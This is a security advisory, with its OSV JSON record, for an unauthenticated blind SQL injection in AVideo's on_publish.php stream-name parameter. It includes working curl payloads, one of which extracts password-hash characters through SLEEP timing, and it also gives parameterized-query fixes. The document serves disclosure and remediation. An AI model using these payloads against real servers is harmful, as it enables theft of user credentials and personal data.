GHSA-8P58-35C3-CCXX
Vulnerability from github – Published: 2026-03-20 20:47 – Updated: 2026-03-25 18:50Summary
The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.
Details
Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.
Sanitization (insufficient): Line 117 strips only & and = characters:
// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);
Injection point #1 — unconditional (no p parameter needed):
At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():
// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);
Inside getLatest(), the key is interpolated into a LIKE clause without escaping:
// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE '{$key}%' ";
}
Injection point #2 — when $_GET['p'] is provided:
At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():
// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);
Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:
// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);
Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.
PoC
Injection point #1 (unconditional — simplest):
# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"
A ~5-second response time confirms injection. The payload:
- Avoids & and = (stripped by line 117)
- Avoids _ and - in positions where cleanUpKey() would split
- Uses %23 (#) to comment out the trailing %'
Data extraction — character-by-character:
# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"
Injection point #2 (via keyExists):
curl -s -o /dev/null -w "%{time_total}" \
-X POST "http://TARGET/plugin/Live/on_publish.php" \
-d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"
This reaches keyExists() at line 146, producing:
SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1
Impact
An unauthenticated remote attacker can:
- Extract all database contents via time-based blind SQL injection, including:
- User password hashes (bcrypt)
- Email addresses and personal information
- API keys, session tokens, and live stream passwords
-
Site configuration and secrets stored in database tables
-
Authenticate as any user to the streaming system — extracted password hashes can be used directly as the
$_GET['p']parameter sinceon_publish.php:153compares$_GET['p'] === $user->getPassword()against the raw stored hash, allowing the attacker to start streams impersonating any user. -
Enumerate database structure — the injection can be used to query
information_schematables, mapping the entire database for further exploitation.
The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.
Recommended Fix
Use parameterized queries in both affected functions:
Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303:
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
. " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
. " WHERE `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);
Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495:
if (!empty($key)) {
$sql .= " AND lth.`key` LIKE ? ";
$formats .= "s";
$values[] = $key . '%';
}
Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688:
if(!$strict){
$parts = Live::getLiveParametersFromKey($key);
$key = $parts['cleanKey'];
$sql .= " `key` LIKE ? ";
$formats = "s";
$values = [$key . '%'];
}else{
$sql .= " `key` = ? ";
$formats = "s";
$values = [$key];
}
All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33485"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:47:19Z",
"nvd_published_at": "2026-03-23T15:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST[\u0027name\u0027]` parameter (stream key) is interpolated directly into SQL queries in two locations \u2014 `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` \u2014 without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.\n\n## Details\n\n**Entry point:** `plugin/Live/on_publish.php` \u2014 no authentication, no IP allowlist, no origin verification.\n\n**Sanitization (insufficient):** Line 117 strips only `\u0026` and `=` characters:\n```php\n// plugin/Live/on_publish.php:117\n$_POST[\u0027name\u0027] = preg_replace(\"/[\u0026=]/\", \u0027\u0027, $_POST[\u0027name\u0027]);\n```\n\n**Injection point #1 \u2014 unconditional (no `p` parameter needed):**\n\nAt line 120, `$_POST[\u0027name\u0027]` is passed directly to `LiveTransmitionHistory::getLatest()`:\n```php\n// plugin/Live/on_publish.php:120\n$activeLive = LiveTransmitionHistory::getLatest($_POST[\u0027name\u0027], $live_servers_id, ...);\n```\n\nInside `getLatest()`, the key is interpolated into a LIKE clause without escaping:\n```php\n// plugin/Live/Objects/LiveTransmitionHistory.php:494-495\nif (!empty($key)) {\n $sql .= \" AND lth.`key` LIKE \u0027{$key}%\u0027 \";\n}\n```\n\n**Injection point #2 \u2014 when `$_GET[\u0027p\u0027]` is provided:**\n\nAt line 146, `$_POST[\u0027name\u0027]` is passed to `LiveTransmition::keyExists()`:\n```php\n// plugin/Live/on_publish.php:146\n$obj-\u003erow = LiveTransmition::keyExists($_POST[\u0027name\u0027]);\n```\n\nInside `keyExists()`, `cleanUpKey()` is called (which only strips adaptive/playlist/sub suffixes \u2014 no SQL escaping), then the key is interpolated directly:\n```php\n// plugin/Live/Objects/LiveTransmition.php:298-303\n$key = Live::cleanUpKey($key);\n$sql = \"SELECT u.*, lt.*, lt.password as live_password FROM \" . static::getTableName() . \" lt \"\n . \" LEFT JOIN users u ON u.id = users_id AND u.status=\u0027a\u0027 \"\n . \" WHERE `key` = \u0027$key\u0027 ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\";\n$res = sqlDAL::readSql($sql);\n```\n\n**Why `readSql()` provides no protection:** When called without format/values parameters (as in both cases above), `sqlDAL::readSql()` passes the full SQL string \u2014 with the injection payload already embedded \u2014 to `$global[\u0027mysqli\u0027]-\u003eprepare()`. Since there are no placeholders (`?`) and no bound parameters, `prepare()` simply compiles the injected SQL as-is. The `eval_mysql_bind()` function returns `true` immediately when formats/values are empty.\n\n## PoC\n\n**Injection point #1 (unconditional \u2014 simplest):**\n\n```bash\n# Time-based blind SQLi via getLatest() \u2014 no p parameter needed\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n -d \"tcurl=rtmp://localhost/live\u0026name=\u0027 OR (SELECT SLEEP(5)) %23\"\n```\n\nA ~5-second response time confirms injection. The payload:\n- Avoids `\u0026` and `=` (stripped by line 117)\n- Avoids `_` and `-` in positions where `cleanUpKey()` would split\n- Uses `%23` (`#`) to comment out the trailing `%\u0027`\n\n**Data extraction \u2014 character-by-character:**\n\n```bash\n# Extract first character of admin password hash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n -d \"tcurl=rtmp://localhost/live\u0026name=\u0027 OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)=\u0027\\\\$\u0027) %23\"\n```\n\n**Injection point #2 (via keyExists):**\n\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n -d \"tcurl=rtmp://localhost/live?p=test\u0026name=\u0027 OR (SELECT SLEEP(5)) %23\"\n```\n\nThis reaches `keyExists()` at line 146, producing:\n```sql\nSELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt\nLEFT JOIN users u ON u.id = users_id AND u.status=\u0027a\u0027\nWHERE `key` = \u0027\u0027 OR (SELECT SLEEP(5)) #\u0027 ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\n```\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n1. **Extract all database contents** via time-based blind SQL injection, including:\n - User password hashes (bcrypt)\n - Email addresses and personal information\n - API keys, session tokens, and live stream passwords\n - Site configuration and secrets stored in database tables\n\n2. **Authenticate as any user to the streaming system** \u2014 extracted password hashes can be used directly as the `$_GET[\u0027p\u0027]` parameter since `on_publish.php:153` compares `$_GET[\u0027p\u0027] === $user-\u003egetPassword()` against the raw stored hash, allowing the attacker to start streams impersonating any user.\n\n3. **Enumerate database structure** \u2014 the injection can be used to query `information_schema` tables, mapping the entire database for further exploitation.\n\nThe first injection point (via `getLatest()`) is reached unconditionally on every request \u2014 no additional parameters beyond `name` and `tcurl` are required.\n\n## Recommended Fix\n\nUse parameterized queries in both affected functions:\n\n**Fix `LiveTransmition::keyExists()` at `plugin/Live/Objects/LiveTransmition.php:298-303`:**\n```php\n$key = Live::cleanUpKey($key);\n$sql = \"SELECT u.*, lt.*, lt.password as live_password FROM \" . static::getTableName() . \" lt \"\n . \" LEFT JOIN users u ON u.id = users_id AND u.status=\u0027a\u0027 \"\n . \" WHERE `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\";\n$res = sqlDAL::readSql($sql, \"s\", [$key]);\n```\n\n**Fix `LiveTransmitionHistory::getLatest()` at `plugin/Live/Objects/LiveTransmitionHistory.php:494-495`:**\n```php\nif (!empty($key)) {\n $sql .= \" AND lth.`key` LIKE ? \";\n $formats .= \"s\";\n $values[] = $key . \u0027%\u0027;\n}\n```\n\n**Fix `LiveTransmitionHistory::getLatestFromKey()` at `plugin/Live/Objects/LiveTransmitionHistory.php:681-688`:**\n```php\nif(!$strict){\n $parts = Live::getLiveParametersFromKey($key);\n $key = $parts[\u0027cleanKey\u0027];\n $sql .= \" `key` LIKE ? \";\n $formats = \"s\";\n $values = [$key . \u0027%\u0027];\n}else{\n $sql .= \" `key` = ? \";\n $formats = \"s\";\n $values = [$key];\n}\n```\n\nAll three fixes use the existing `sqlDAL::readSql()` parameterized binding support (`\"s\"` format for string, values array) which is already used elsewhere in the codebase.",
"id": "GHSA-8p58-35c3-ccxx",
"modified": "2026-03-25T18:50:10Z",
"published": "2026-03-20T20:47:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8p58-35c3-ccxx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33485"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/af59eade82de645b20183cc3d74467a7eac76549"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.